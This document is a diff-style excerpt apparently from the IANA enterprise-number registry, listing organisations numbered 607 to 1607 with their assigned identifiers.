+607 Lachman Technology, Inc.
+608 Galcom Networking Ltd.
+609 BAZIS
+610 SYNAPTEL
+611 Investment Management Services, Inc.
+612 Taiwan Telecommunication Lab
+613 Anagram Corporation
+614 Univel
+615 University of California, San Diego
+616 CompuServe
+617 Telstra - OTC Australia
+618 Westinghouse Electric Corp.
+619 DGA Ltd.
+620 Elegant Communications Inc.
+621 Experdata
+622 Unisource Business Networks Sweden AB
+623 Molex, Inc.
+624 Quay Financial Software
+625 VMX Inc.
+626 Hypercom, Inc.
+627 University of Guelph
+628 DIaLOGIKa
+629 NBASE Switch Communication
+630 Anchor Datacomm B.V.
+631 PACDATA
+632 University of Colorado
+633 Tricom Communications Limited
+634 Santix Software GmbH
+635 Encore Networks, Inc.
+636 Georgia Institute of Technology
+637 Nokia (formerly 'Alcatel-Lucent')
+638 GTECH
+639 UNOCAL Corporation
+640 First Pacific Network
+641 Lexmark International
+642 Qnix Computer
+643 Jigsaw Software Concepts (Pty) Ltd.
+644 Eastern Research Inc.
+645 nsgdata.com Inc
+646 SEIKO Communication Systems, Inc.
+647 Unified Management
+648 RADLINX Ltd.
+649 Microplex Systems Ltd.
+650 Trio Information Systems AB
+651 Phoenix Microsystems
+652 Distributed Systems International, Inc.
+653 Evolving Systems, Inc.
+654 SAT GmbH
+655 CeLAN Technology, Inc.
+656 Landmark Systems Corp.
+657 Netone Systems Co., Ltd.
+658 Loral Data Systems
+659 Cellware Broadband Technology
+660 MuSys Corporation
+661 IMC Networks Corp.
+662 Octel Communications Corp.
+663 RIT Technologies Ltd.
+664 Adtran
+665 Netvion, Inc.
+666 Oki Electric Industry Co., Ltd.
+667 Specialix International
+668 INESC (Instituto de Engenharia de Sistemas e Computadores)
+669 Globalnet Communications
+670 Product Line Engineer SVEC Computer Corp.
+671 Printer Systems Corp.
+672 Contec Micro Electronics USA
+673 Unix Integration Services
+674 Dell Inc.
+675 Whittaker Electronic Systems
+676 QPSX Communications
+677 Loral WDl
+678 Federal Express Corp.
+679 E-COMMS Inc.
+680 Software Clearing House
+681 Antlow Computers Ltd.
+682 Emcom Corp.
+683 Extended Systems, Inc.
+684 Sola Electric
+685 Esix Systems, Inc.
+686 3M/MMM
+687 Cylink Corp.
+688 Znyx Advanced Systems Division, Inc.
+689 Texaco, Inc.
+690 McCaw Cellular Communication Corp.
+691 ASP Computer Product Inc.
+692 HiPerformance Systems
+693 Regionales Rechenzentrum Erlangen
+694 SAP AG
+695 ElectroSpace System Inc.
+696 Unassigned
+697 MultiPort Corporation
+698 Combinet, Inc.
+699 TSCC
+700 Teleos Communications Inc.
+701 Alta Research
+702 Independence Blue Cross
+703 ADACOM Station Interconnectivity Ltd.
+704 MIROR Systems
+705 Merlin Gerin
+706 Owen-Corning Fiberglas
+707 Talking Networks Inc.
+708 Cubix Corporation
+709 Formation Inc.
+710 Lannair Ltd.
+711 LightStream Corp.
+712 LANart Corp.
+713 University of Stellenbosch
+714 Wyse Technology
+715 DSC Communications Corp.
+716 NetEc
+717 Breltenbach Software Engineering GmbH
+718 Victor Company of Japan,Limited
+719 Japan Direx Corporation
+720 NECSY Network Control Systems S.p.A. Piero Fiozzo
+721 ISDN Systems Corp.
+722 Zero-One Technologies, Ltd.
+723 Radix Technologies, Inc.
+724 National Institute of Standards and Technology
+725 Digital Technology Inc.
+726 Castelle Corp.
+727 Memotec Inc.
+728 Showa Electric Wire & Cable Co., Ltd.
+729 SpectraGraphics
+730 Connectware Inc.
+731 Wind River Systems
+732 RADWAY International Ltd.
+733 System Management ARTS, Inc.
+734 Persoft, Inc.
+735 Xnet Technology Inc.
+736 Unison-Tymlabs
+737 Micro-Matic Research
+738 B.A.T.M. Advance Technologies
+739 University of Copenhagen
+740 Network Security Systems, Inc.
+741 JNA Telecommunications
+742 Encore Computer Corporation
+743 Central Intelligence Agency
+744 ISC (GB) Limited
+745 Digital Communication Associates
+746 CyberMedia Inc.
+747 Distributed Systems International, Inc.
+748 Peter Radig
+749 Vicorp Interactive Systems
+750 Inet Inc.
+751 Argonne National Lab
+752 Teklogix
+753 North Western University
+754 Astarte Fiber Networks
+755 Diederich & Associates, Inc.
+756 Florida Power Corporation
+757 Ingres Corporation
+758 Open Network Enterprise
+759 The Home Depot
+760 Pan Dacom Telekommunikations
+761 NetTek
+762 Karlnet Corp.
+763 Efficient Networks, Inc.
+764 Fiberdata
+765 Lanser
+766 Ericsson Denmark A/S, Telebit Division
+767 QoSCom
+768 Network Computing Inc.
+769 Walgreens Company
+770 Internet Initiative Japan Inc.
+771 GP van Niekerk Ondernemings
+772 Queen's University Belfast
+773 Securities Industry Automation Corporation
+774 SYNaPTICS
+775 Data Switch Corporation
+776 Telindus Distribution
+777 MAXM Systems Corporation
+778 Fraunhofer Gesellschaft
+779 EQS Business Services
+780 CNet Technology Inc.
+781 Datentechnik GmbH
+782 Network Solutions, LLC
+783 Viaman Software
+784 Schweizerische Bankgesellschaft Zuerich
+785 University of Twente - TIOS
+786 Simplesoft Inc.
+787 Stony Brook, Inc.
+788 Unified Systems Solutions, Inc.
+789 Network Appliance Corporation
+790 Ornet Data Communication Technologies Ltd.
+791 Computer Associates International
+792 Wireless Incorporated
+793 NYNEX Science & Technology
+794 Commercial Link Systems
+795 Adaptec Inc.
+796 Softswitch
+797 Link Technologies, Inc.
+798 IIS
+799 Mobile Solutions Inc.
+800 Xylan Corp.
+801 Airtech Software Forge Limited
+802 National Semiconductor
+803 Video Lottery Technologies
+804 National Semiconductor Corp
+805 Applications Management Corp
+806 Travelers Insurance Company
+807 Taiwan International Standard Electronics Ltd.
+808 US Patent and Trademark Office
+809 Hynet, Ltd.
+810 Aydin, Corp.
+811 ADDTRON Technology Co., Ltd.
+812 Fannie Mae
+813 MultiNET Services
+814 GECKO mbH
+815 Memorex Telex
+816 Advanced Communications Networks (ACN) SA
+817 Telekurs AG
+818 IMV Victron bv
+819 CF6 Company
+820 Walker Richer and Quinn Inc.
+821 Saturn Systems
+822 Mitsui Marine and Fire Insurance Co. Ltd.
+823 Loop Telecommunication International, Inc.
+824 Telenex Corporation
+825 Bus-Tech, Inc.
+826 ATRIE
+827 Gallagher & Robertson A/S
+828 Networks Northwest, Inc.
+829 Conner Peripherials
+830 Elf Antar France
+831 Lloyd Internetworking
+832 Datatec Industries, Inc.
+833 TAICOM
+834 Brown's Operating System Services Ltd.
+835 MiLAN Technology Corp.
+836 NetEdge Systems, Inc.
+837 NetFrame Systems
+838 Xedia Corporation
+839 Pepsi
+840 Tricord Systems, Inc.
+841 Proxim Wireless, Inc
+842 Applications Plus, Inc.
+843 Pacific Bell
+844 Scorpio Communications
+845 TPS-Teleprocessing Systems
+846 Technology Solutions Company
+847 Computer Site Technologies
+848 NetPort Software
+849 Alon Systems
+850 Tripp Lite
+851 NetComm Limited
+852 Precision Systems, Inc.(PSI)
+853 Objective Systems Integrators
+854 Simpact, Inc.
+855 Systems Enhancement Corporation
+856 Information Integration, Inc.
+857 CETREL S.C.
+858 Platinum Technology, Inc.
+859 Olivetti North America
+860 WILMA
+861 Thomson Financial
+862 Total Peripherals Inc.
+863 SunNetworks Consultant
+864 Arkhon Technologies, Inc.
+865 Computer Sciences Corporation
+866 Philips Communication d'Entreprise Claude Lubin
+867 Katron Technologies Inc.
+868 Transition Engineering Inc.
+869 Altos Engineering Applications, Inc.
+870 Nicecom Ltd.
+871 Fiskars/Deltec
+872 AVM GmbH
+873 Comm Vision
+874 Institute for Information Industry
+875 Legent Corporation
+876 Network Automation
+877 EView Technology
+878 Coman Data Communications Ltd.
+879 Skattedirektoratet
+880 Client-Server Technologies
+881 Societe Internationale de Telecommunications Aeronautiques
+882 Maximum Strategy Inc.
+883 Integrated Systems, Inc.
+884 E-Systems
+885 RELTEC Corporation
+886 Summa Four Inc.
+887 J & L Information Systems
+888 Forest Computer Inc.
+889 Palindrome Corp.
+890 ZyXEL Communications Corp.
+891 Network Managers (UK) Ltd,
+892 Sensible Office Systems Inc.
+893 Informix Software
+894 Dynatek Communications
+895 Versalynx Corp.
+896 Potomac Scheduling Communications Company
+897 Sybase, Inc
+898 DiviCom Inc.
+899 Datus elektronische Informationssysteme GmbH
+900 Matrox Electronic Systems Limited
+901 Digital Products, Inc.
+902 Scitex Corp.Ltd.
+903 RAD Vision
+904 Tran Network Systems
+905 Scorpion Logic
+906 Inotech Inc.Eric Jacobs
+907 Controlled Power Co.
+908 ABB Inc. (formerly 'Elsag Bailey Incorporated')
+909 J.P. Morgan
+910 Clear Communications Corp.
+911 General Technology Inc.
+912 Adax Inc.
+913 Mtel Technologies, Inc.
+914 Underscore, Inc.
+915 SerComm Corp.
+916 Allegiance Corporation
+917 Tellus Technology
+918 Continuous Electron Beam Accelerator Facility
+919 Canoga Perkins
+920 R.I.S Technologies
+921 INFONEX Corp.
+922 WordPerfect Corp.
+923 NRaD
+924 Hong Kong Telecommunications Ltd.
+925 Signature Systems
+926 Alpha Technologies, Inc.
+927 PairGain Technologies, Inc.
+928 Sonic Systems
+929 Steinbrecher Corp.
+930 Centillion Networks, Inc.
+931 Network Communication Corp.
+932 Sysnet A.S.
+933 Telecommunication Systems Lab
+934 QMI
+935 Phoenixtec Power Co., Ltd.
+936 Hirakawa Hewtech Corp.
+937 No Wires Needed B.V.
+938 Primary Access
+939 FD Software AS
+940 g.a.m.s. edv-dienstleistungen
+941 Nemesys Research Ltd.
+942 Pacific Communication Sciences, Inc.
+943 Level One Communications, Inc.
+944 Intellimon Software, LLC.
+945 Accenture (formerly 'Andersen Consulting')
+946 Bay Technologies Pty Ltd.
+947 Integrated Network Corp.
+948 CyberPro International
+949 Wang Laboratories Inc.
+950 Polaroid Corp.
+951 Sunrise Sierra
+952 Silcon Group
+953 Coastcom
+954 4th DIMENSION SOFTWARE Ltd.
+955 SEIKO SOLUTIONS Inc.
+956 PERFORM
+957 TV/COM International
+958 Network Integration, Inc.
+959 Sola Electric, A Unit of General Signal
+960 Gradient Technologies, Inc.
+961 Tokyo Electric Co., Ltd.
+962 Codonics, Inc.
+963 Delft Technical University
+964 Carrier Access Corp.
+965 eoncorp
+966 Naval Undersea Warfare Center
+967 AWA Limited
+968 Distinct Corp.
+969 National Technical University of Athens
+970 BGS Systems, Inc.
+971 AT&T Wireless (McCaw Wireless Data)
+972 Bekaert
+973 Epic Data Inc.
+974 Prodigy Services Co.
+975 First Pacific Networks (FPN)
+976 Xylink Ltd.
+977 Relia Technologies Corp.
+978 Legacy Storage Systems Inc.
+979 Digicom, SPA
+980 Ark Telecom
+981 National Security Agency (NSA)
+982 Southwestern Bell Corporation (AT&T) (formerly 'Southwestern Bell Corporation')
+983 Virtual Design Group, Inc.
+984 Rhone Poulenc
+985 Swiss Bank Corporation
+986 ATEA N.V.
+987 Computer Communications Specialists, Inc.
+988 Object Quest, Inc.
+989 DCL System International, Ltd.
+990 SOLITON SYSTEMS K.K.
+991 U S Software
+992 Systems Research and Applications Corporation
+993 University of Florida
+994 Dantel, Inc.
+995 Multi-Tech Systems, Inc.
+996 Softlink Ltd.
+997 ProSum
+998 March Systems Consultancy, Ltd.
+999 Hong Technology, Inc.
+1000 Internet Assigned Numbers Authority
+1001 PECO Energy Co.
+1002 United Parcel Service
+1003 Storage Dimensions, Inc.
+1004 ITV Technologies, Inc.
+1005 TCPSI
+1006 Promptus Communications, Inc.
+1007 Norman Data Defense Systems
+1008 Pilot Network Services, Inc.
+1009 Integrated Systems Solutions Corporation
+1010 SISRO
+1011 NetVantage
+1012 Marconi
+1013 SURECOM
+1014 Royal Hong Kong Jockey Club
+1015 Gupta
+1016 Tone Software Corporation
+1017 Opus Telecom
+1018 Cogsys Ltd.
+1019 Komatsu, Ltd.
+1020 ROI Systems, Inc
+1021 Lightning Instrumentation SA
+1022 TimeStep Corp.
+1023 INTELSAT
+1024 Network Research Corporation Japan, Ltd.
+1025 Relational Development, Inc.
+1026 Emerald Systems, Corp.
+1027 Mitel, Corp.
+1028 Software AG
+1029 MillenNet, Inc.
+1030 NK-EXA Corp.
+1031 BMC Software
+1032 StarFire Enterprises, Inc.
+1033 Hybrid Networks, Inc.
+1034 Quantum Software GmbH
+1035 Openvision Technologies Limited
+1036 Healthcare Communications, Inc.(HCI)
+1037 SAIT Systems
+1038 SAGEMCOM SAS
+1039 CompuSci Inc.
+1040 Aim Technology
+1041 CIESIN
+1042 Systems & Technologies International
+1043 Israeli Electric Company (IEC) Yoram Harlev
+1044 Phoenix Wireless Group, Inc.
+1045 SWL
+1046 nCUBE
+1047 Cerner, Corp.
+1048 Andersen Consulting
+1049 Windstream Communications
+1050 Acer
+1051 Cedros
+1052 AirAccess
+1053 Expersoft Corporation
+1054 Eskom
+1055 SBE, Inc.
+1056 SS8
+1057 American Computer and Electronics, Corp.
+1058 Syndesis Limited
+1059 Isis Distributed Systems, Inc.
+1060 Priority Call Management
+1061 Koelsch & Altmann GmbH
+1062 WIPRO INFOTECH Ltd.
+1063 Controlware
+1064 Mosaic Software
+1065 Canon Information Systems
+1066 AOL Inc.
+1067 Whitetree Network Technologies, Inc.
+1068 Northrop Grumman / Xetron
+1069 Target Concepts, Inc.
+1070 DMH Software
+1071 Innosoft International, Inc.
+1072 Controlware GmbH
+1073 Telecommunications Industry Association (TIA) Mike
+1074 Boole & Babbage
+1075 System Engineering Support, Ltd.
+1076 SURFnet
+1077 OpenConnect Systems, Inc.
+1078 PDTS (Process Data Technology and Systems)
+1079 Cornet, Inc.
+1080 NetStar, Inc.
+1081 Semaphore Communications, Corp.
+1082 Casio Computer Co., Ltd.
+1083 CSIR
+1084 APOGEE Communications
+1085 Information Management Company
+1086 Wordlink, Inc.
+1087 PEER
+1088 Telstra Corp
+1089 Net X, Inc.
+1090 PNC PLC
+1091 DanaSoft, Inc.
+1092 Yokogawa-Hewlett-Packard
+1093 Citem
+1094 Link Telecom, Ltd.
+1095 Xirion bv
+1096 Centigram Communications, Corp.
+1097 Gensym Corp.
+1098 Apricot Computers, Ltd.
+1099 CANAL+
+1100 Cambridge Technology Partners
+1101 MoNet Systems, Inc.
+1102 Metricom, Inc.
+1103 Xact, Inc
+1104 Brave Software, Inc.
+1105 NetCell Systems, Inc.
+1106 Uni-QLennart Norlanderlennart.norlander&uniq.se
+1107 DISA Space Systems Development Division
+1108 INTERSOLV
+1109 Vela Research, Inc.
+1110 Tetherless Access, Inc.
+1111 Magistrat Wien, AT
+1112 Franklin Telecom, Inc.
+1113 EDA Instruments, Inc.
+1114 EFI Electronics, Corporation
+1115 GMD
+1116 Voicetek, Corp
+1117 Avanti Technology, Inc.
+1118 ATLan LTD
+1119 Lehman Brothers
+1120 LAN-hopper Systems, Inc.
+1121 Web-Systems
+1122 Piller GmbH
+1123 Engenio Information Technologies, Inc.
+1124 NetSpan, Corp.
+1125 Nielsen Media Research
+1126 Sterling Software
+1127 Applied Network Technology, Inc.
+1128 Union Pacific Railroad
+1129 Tec Corporation
+1130 Datametrics Systems, Corporation Karl S.
+1131 Intersection Development Corporation Michael
+1132 BACS Limited, GB
+1133 Engage Communication
+1134 Fastware, S.A.
+1135 LONGSHINE Electronics Corp.
+1136 BOW Networks, Inc.
+1137 emotion, Inc.
+1138 Rautaruukki steel factory, Information systems
+1139 EMC Corp
+1140 University of West England
+1141 Com21
+1142 Compression Tehnologies Inc.
+1143 Buslogic Inc.
+1144 Firefox Corporation
+1145 Mercury Communications Ltd
+1146 COMPUTER PROTOCOL MALAYSIA SDN. BHD.
+1147 Institute for Information Industry
+1148 Pacific Electric Wire & Cable Co. Ltd.
+1149 MPR Teltech Ltd
+1150 P-COM, Inc
+1151 Anritsu Corporation
+1152 SPYRUS
+1153 NeTpower, Inc.
+1154 Diehl ISDN GmbH
+1155 CARNet
+1156 AS-TECH
+1157 SG2 Innovation et Produits
+1158 CellAccess Technology, Inc.
+1159 Bureau of Meteorology
+1160 ELTRAX
+1161 Thames Water Utilities Limited
+1162 Micropolis, Corp.
+1163 Integrated Systems Technology
+1164 Brite Voice Systems, Inc.
+1165 Associated Grocer
+1166 General Instrument
+1167 Stanford Telecom
+1168 ICOM Informatique
+1169 MPX Data Systems Inc.
+1170 Syntellect
+1171 Polyhedra Ltd (formerly 'Perihelion Technology Ltd')
+1172 Shoppers Drug Mart
+1173 Apollo Travel Services Judith Williams-Murphy
+1174 Time Warner Cable, Inc.
+1175 American Technology Labs Inc.
+1176 Dow Jones & Company, Inc.
+1177 FRA
+1178 Equitable Life Assurance Society
+1179 Smith Barney Inc.
+1180 Compact Data Ltd
+1181 I.Net Communications
+1182 Yamaha Corporation
+1183 Illinois State University
+1184 RADGuard Ltd.
+1185 Calypso Software Systems, Inc.
+1186 ACT Networks Inc.
+1187 Kingston Communications
+1188 Incite
+1189 VVNET, Inc.
+1190 Ontario Hydro
+1191 CS-Telecom
+1192 ICTV
+1193 CORE International Inc.
+1194 Mibs4You
+1195 ITK
+1196 Network Integrity, Inc.
+1197 BlueLine Software, Inc.
+1198 Migrant Computing Services,Inc.
+1199 Linklaters & Paines
+1200 EJV Partners, L.P.
+1201 Guardeonic Solutions Ltd.
+1202 VARCOM Corporation
+1203 Equitel
+1204 The Southern Company
+1205 Dataproducts Corporation
+1206 National Electrical Manufacturers Association (NEMA)
+1207 RISCmanagement, Inc.
+1208 GVC Corporation
+1209 timonWare Inc.
+1210 Capital Resources Computer Corporation
+1211 Storage Technology Corporation
+1212 Tadiran Telecom TTL.
+1213 NCP
+1214 Operations Control Systems (OCS)
+1215 The NASDAQ Stock Market Inc.
+1216 Tiernan Communications, Inc.
+1217 Goldman, Sachs Company
+1218 Advanced Telecommunications Modules Ltd
+1219 Phoenix Data Communications
+1220 Quality Consulting Services
+1221 MILAN
+1222 Instrumental Inc.
+1223 Yellow Technology Services Inc.
+1224 Mier Communications Inc.
+1225 Cable Services Group Inc.
+1226 Forte Networks Inc.
+1227 American Management Systems, Inc.
+1228 Choice Hotels Intl.
+1229 SEH Computertechnik Gm Rainer Ellerbrake
+1230 McAFee Associates Inc.
+1231 Network Intelligent Inc.
+1232 Luxcom Technologies, Inc.
+1233 ITRON Inc.
+1234 Linkage Software Inc.
+1235 Spardat AG
+1236 VeriFone Inc.
+1237 Revco D.S., Inc.
+1238 HRB Systems, Inc.
+1239 Litton Fibercom
+1240 Silex Technology America, Inc. (formerly 'XCD, Incorporated')
+1241 ProsjektLeveranser AS
+1242 Halcyon Inc.
+1243 SBB
+1244 LeuTek
+1245 Zeitnet, Inc
+1246 Visual Networks, Inc.
+1247 Coronet Systems
+1248 SEIKO EPSON CORPORATION
+1249 DnH Technologies
+1250 Deluxe Data
+1251 Michael A. Okulski Inc.
+1252 Saber Software Corporation
+1253 Mission Systems, Inc.
+1254 Siemens Plessey Electronics Systems
+1255 Applied Communications Inc,
+1256 Transaction Technology, Inc.
+1257 HST Ltd
+1258 Michigan Technological University Onwuka
+1259 Next Level Communications
+1260 Instinet Corp.
+1261 Analog & Digital Systems Ltd.
+1262 Ansaldo Trasporti SpA
+1263 ECCI
+1264 Imatek Corporation
+1265 PTT Telecom bv
+1266 Data Race, Inc.
+1267 Network Safety Group, Inc.
+1268 Application des Techniques Nouvelles en Electronique
+1269 MFS Communications Company
+1270 Information Services Division
+1271 Ciena Corporation
+1272 Fujitsu Nexion
+1273 Standard Networks, Inc
+1274 Scientific Research Corporation
+1275 micado SoftwareConsult GmbH
+1276 Concert Management Services, Inc.
+1277 University of Delaware
+1278 Bias Consultancy Ltd.
+1279 Micromuse Inc.
+1280 Translink Systems
+1281 PI-NET
+1282 Amber Wave Systems
+1283 Superior Electronics Group Inc.
+1284 Network Telemetrics Inc
+1285 BSW-Data
+1286 ECI Telecom Ltd.
+1287 BroadVision
+1288 ALFA, Inc.
+1289 TELEFONICA SISTEMAS, S.A.
+1290 Image Sciences, Inc.
+1291 MITSUBISHI ELECTRIC INFORMATION NETWORK CORPORATION (MIND)
+1292 Central Flow Management Unit
+1293 Woods Hole Oceanographic Institution
+1294 Raptor Systems, Inc.
+1295 TeleLink Technologies Inc.
+1296 First Virtual Corporation
+1297 Network Services Group
+1298 SilCom Manufacturing Technology Inc.
+1299 NETSOFT Inc.
+1300 Fidelity Investments
+1301 Telrad Telecommunications
+1302 VERITAS Software Corp.
+1303 LeeMah DataCom Security Corporation
+1304 Racemi, Inc.
+1305 USAir, Inc
+1306 Jet Propulsion Laboratory
+1307 ABIT Co
+1308 Dataplex Pty. Ltd.
+1309 Creative Interaction Technologies, Inc.
+1310 AimNet Solutions
+1311 Unassigned
+1312 Klos Technologies, Inc.
+1313 ACOTEC
+1314 Datacomm Management Sciences Inc.
+1315 MG-SOFT d.o.o.
+1316 Plessey Tellumat SA
+1317 PaineWebber, Inc.
+1318 DATASYS Ltd.
+1319 QVC Inc.
+1320 IPL Systems
+1321 Pacific Micro Data, Inc.
+1322 DeskNet Systems, Inc
+1323 TC Technologies
+1324 Racotek, Inc.
+1325 CelsiusTech AB
+1326 Xing Technology Corp.
+1327 dZine n.v.
+1328 Electronic merchant Services, Inc.
+1329 Linmor Information Systems Management, Inc.
+1330 ABL Canada Inc.
+1331 University of Coimbra
+1332 Iskratel, Ltd., Telecommunications Systems
+1333 ISA Co.,Ltd.
+1334 CONNECT, Inc.
+1335 Digital Video
+1336 InterVoice, Inc.
+1337 Liveware Tecnologia a Servico a Ltda
+1338 Precept Software, Inc.
+1339 Heroix Corporation
+1340 Holland House B.V.
+1341 Dedalus Engenharia S/C Ltda
+1342 GEC ALSTHOM I.T.
+1343 Deutsches Elektronen-Synchrotron
+1344 Avotus Corporation
+1345 Dacoll Ltd
+1346 NetCorp Inc.
+1347 KYOCERA Corporation
+1348 The Longaberger Company
+1349 ILEX
+1350 Conservation Through Innovation, Limited
+1351 SeeBeyond Technology Corporation
+1352 Multex Systems, Inc.
+1353 Gambit Communications, Inc.
+1354 Central Data Corporation
+1355 CompuCom Systems, Inc.
+1356 Generex Systems GMBH
+1357 Periphonics Corporation
+1358 Freddie Mac
+1359 Digital Equipment bv
+1360 PhoneLink plc
+1361 Voice-Tel Enterprises, Inc.
+1362 AUDILOG
+1363 SanRex Corporation
+1364 Chloride
+1365 GA Systems Ltd
+1366 Microdyne Corporation
+1367 Boston College
+1368 Orange (formerly 'France Telecom')
+1369 Stonesoft Corp
+1370 A. G. Edwards & Sons, Inc.
+1371 Attachmate Corp.
+1372 LSI Logic
+1373 interWAVE Communications, Inc.
+1374 mdl-Consult
+1375 Frobbit AB (formerly 'Firma PAF')
+1376 Nashoba Networks Inc
+1377 Comedia Information AB
+1378 Harvey Mudd College
+1379 First National Bank of Chicago
+1380 Department of National Defence (Canada)
+1381 CBM Technologies, Inc.
+1382 InterProc Inc.
+1383 Glenayre R&D Inc.
+1384 Telenet GmbH Kommunikationssysteme
+1385 Softlab GmbH
+1386 Storage Computer Corporation
+1387 CellStack Systems Ltd
+1388 Viewgate Networks
+1389 Simple Network Magic Corporation
+1390 Stallion Technologies Pty Ltd
+1391 Loan System
+1392 DLR - Deutsche Forschungsanstalt fuer Luft- und Raumfahrt e.V.
+1393 ICRA, Inc.
+1394 Probita
+1395 NEXOR Ltd
+1396 American Internation Facsimile Products
+1397 Tellabs
+1398 DATAX
+1399 IntelliSys Corporation
+1400 Sandia National Laboratories
+1401 Synerdyne Corp.
+1402 UNICOM Electric, Inc.
+1403 Central Design Systems Inc.
+1404 The Silk Road Group, Ltd.
+1405 Positive Computing Concepts
+1406 First Data Resources
+1407 INETCO Systems Limited
+1408 NTT Mobile Communications Network Inc.
+1409 Target Stores
+1410 Advanced Peripherals Technologies, Inc.
+1411 Juniper Networks/Funk Software
+1412 DunsGate, a Dun and Bradstreet Company
+1413 AFP
+1414 Communications & Power Industries, Satcom Division
+1415 The Williams Companies, Inc.
+1416 ASP Technologies, Inc.
+1417 Philips Communication Systems
+1418 Dataprobe Inc.
+1419 ASTROCOM Corp.
+1420 CSTI(Communication Systems Technology, Inc.)
+1421 Sprint
+1422 Syntax
+1423 LIGHT-INFOCON
+1424 Performance Technology, Inc.
+1425 CXR
+1426 Amir Technology Labs
+1427 ISOCOR
+1428 Array Technology Corportion
+1429 Scientific-Atlanta, Inc.
+1430 GammaTech, Inc.
+1431 Telkom SA Limited
+1432 CIREL SYSTEMES
+1433 Redflex Limited Australia
+1434 Hermes - Enterprise Messaging LTD
+1435 Acacia Networks Inc.
+1436 NATIONAL AUSTRALIA BANK Ltd.
+1437 SineTec Technology Co.,Ltd.
+1438 Applied Innovation Inc.
+1439 Arizona State University
+1440 Xionics Document Technologies, Inc.
+1441 Southern Information System Inc.
+1442 Nebula Consultants Inc.
+1443 SITRE, SA
+1444 Paradigm Technology Ltd
+1445 Telub AB
+1446 Virginia Polytechnic Institute and State University
+1447 Martis Oy
+1448 ISKRA TRANSMISSION
+1449 QUALCOMM Incorporated
+1450 AOL / Netscape Communications Corp.
+1451 BellSouth Wireless, Inc.
+1452 NUKO Information Systems, Inc.
+1453 IPC Information Systems, Inc.
+1454 Estudios y Proyectos de Telecomunicacion, S.A.
+1455 Winstar Wireless
+1456 Terayon Corp.
+1457 CyberGuard CorporationDavid Rhein
+1458 AMCC
+1459 Jupiter Technology, Inc.
+1460 Delphi Internet Services
+1461 Kesmai Corporation
+1462 Compact Devices, Inc.
+1463 OPTIQUEST
+1464 Loral Defense Systems-Eagan
+1465 OnRamp Technologies
+1466 Mark Wahl
+1467 Loran International Technologies, Inc.
+1468 S & S International PLC
+1469 Atlantech Technologies Ltd.
+1470 IN-SNEC
+1471 Melita International Corporation
+1472 Sharp Laboratories of America
+1473 Groupe Decan
+1474 Spectronics Micro Systems Limited
+1475 varetis COMMUNICATIONS GmbH
+1476 ION Networks, Inc.
+1477 Telegate GlobalAccess Technology Ltd.
+1478 Merrill Lynch & Co., Inc.
+1479 JCPenney Co., Inc.
+1480 The Torrington Company
+1481 GS-ProActive
+1482 Synamedia
+1483 vortex Computersysteme GmbH
+1484 DataFusion Systems (Pty) Ltd
+1485 Allen & Overy
+1486 Atlantic Systems Group
+1487 Kongsberg Informasjonskontroll AS
+1488 ELTECO a.s.
+1489 Schlumberger Limited
+1490 CNI Communications Network International GmbH
+1491 M&C Systems, Inc.
+1492 OM Systems International (OMSI) Mats
+1493 DAVIC (Digital Audio-Visual Council) Richard
+1494 ISM GmbH
+1495 E.F. Johnson Co.
+1496 Baranof Software, Inc.
+1497 University of Texas Houston
+1498 Ukiah Software Solutions/EDS/HDS
+1499 STERIA
+1500 ATI Australia Pty Limited
+1501 The Aerospace Corporation Michael
+1502 Orckit Communications Ltd.
+1503 Tertio Limited
+1504 Frequentis Comsoft GmbH (formerly 'Comsoft Solutions GmbH')
+1505 Power Center Software LLC
+1506 Technologic, Inc.
+1507 Vertex Data Science Limited
+1508 ESIGETEL
+1509 Illinois Business Training Center Weixiong
+1510 Arris Networks, Inc.
+1511 TeamQuest Corporation
+1512 Sentient Networks
+1513 Skyrr hf.
+1514 Tecnologia y Gestion de la Innovacion
+1515 Connector GmbH
+1516 Kaspia Systems, Inc.
+1517 SmithKline Beecham
+1518 NetCentric Corp.
+1519 ATecoM GmbH
+1520 Citibank Canada
+1521 MMS (Matra Marconi Space)
+1522 Intermedia Communications, Inc.
+1523 School of Computer Science, University Science of Malaysia
+1524 University of Limerick
+1525 ACTANE
+1526 Collaborative Information Technology Research Institute(CITRI)
+1527 Intermedium A/S
+1528 ANS CO+RE Systems, Inc.
+1529 UUNET Technologies, Inc.
+1530 Telesciences, Inc.
+1531 QSC Audio Products
+1532 Australian Department of Employment, Education and Training
+1533 Network Media Communications Ltd.
+1534 Sodalia
+1535 Innovative Concepts, Inc.
+1536 Japan Computer Industry Inc.
+1537 Telogy Networks, Inc.
+1538 Merck & Company, Inc.
+1539 GeoTel Communications Corporation
+1540 Sun Alliance (UK)
+1541 AG Communication Systems
+1542 Pivotal Networking, Inc.
+1543 TSI TelSys Inc.
+1544 Harmonic Systems Incorporated
+1545 ASTRONET Corporation
+1546 Frontec
+1547 NetVision
+1548 FlowPoint Corporation
+1549 Allied Data Technologies
+1550 Nuera Communication Inc.
+1551 Radnet Ltd.
+1552 Océ Technologies BV
+1553 Air France
+1554 Communications & Power Engineering, Inc.
+1555 Charter Systems
+1556 Sonus Networks, Inc.
+1557 Paragon Networks International
+1558 Skog-Data AS
+1559 mitec a/s
+1560 THOMSON-CSF / Departement Reseaux d'Entreprise
+1561 Ipsilon Networks, Inc.
+1562 Kingston Technology Company
+1563 Harmonic Lightwaves
+1564 InterActive Digital Solutions
+1565 Coactive Aesthetics, Inc.
+1566 Tech Data Corporation
+1567 Z-Com
+1568 COTEP
+1569 Raytheon Company
+1570 Telesend Inc.
+1571 NCC
+1572 Forte Software, Inc.
+1573 McAfee (formerly 'Secure Computing Corporation')
+1574 BEZEQ
+1575 TU Braunschweig
+1576 Stac Inc.
+1577 StarNet Communications
+1578 Universidade do Minho
+1579 Department of Computer Science, University of Liverpool
+1580 Tekram Technology, Ltd.
+1581 RATP
+1582 Rainbow Diamond Limited
+1583 Magellan Communications, Inc
+1584 Bay Networks Incorporated
+1585 Quantitative Data Systems (QDS)
+1586 ESYS Limited
+1587 Switched Network Technologies (SNT)
+1588 Brocade Communications Systems, Inc.
+1589 Computer Resources International A/S (CRI)
+1590 Luchtverkeersleiding Nederland
+1591 GTIL
+1592 XactLabs Corporation
+1593 Quest Software, Inc. (formerly 'NetPro Computing, Inc.')
+1594 TELESYNC
+1595 ewt breitbandnetze gmbh
+1596 INS GmbH
+1597 Distributed Processing Technology
+1598 Tivoli Systems Inc.
+1599 Network Management Technologies
+1600 SIRTI
+1601 TASKE Technology Inc.
+1602 CANON Inc.
+1603 Systems and Synchronous, Inc.
+1604 XFER International
+1605 Scandpower A/S
+1606 Consultancy & Projects Group srl
+1607 STS Technologies, Inc.
